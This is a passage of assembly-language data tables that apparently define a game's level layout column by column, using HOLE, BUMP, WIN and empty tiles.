dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
Column2Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b BUMP
dc.b HOLE
dc.b HOLE
; 60-41
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
; 80-61
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 120-101
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 140-121
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 160-141
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
; 180-161
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column3Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b BUMP
dc.b HOLE
; 60-41
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
; 80-61
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 120-101
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 140-121
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 160-141
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b BUMP
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column4Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b BUMP
; 60-41
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 80-61
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 120-101
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 140-121
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
; 160-141
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column5Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 80-61
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
; 120-101
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
; 160-141
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column6Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
; 60-41
dc.b WIN
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 80-61
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
; 120-101
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
; 160-141
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column7Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
; 60-41
dc.b WIN
dc.b WIN
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 80-61
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column8Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b BUMP
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
; 60-41
dc.b WIN
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 80-61
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column9Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 80-61
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column10Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b WIN
dc.b 0
dc.b 0
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
; 80-61
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
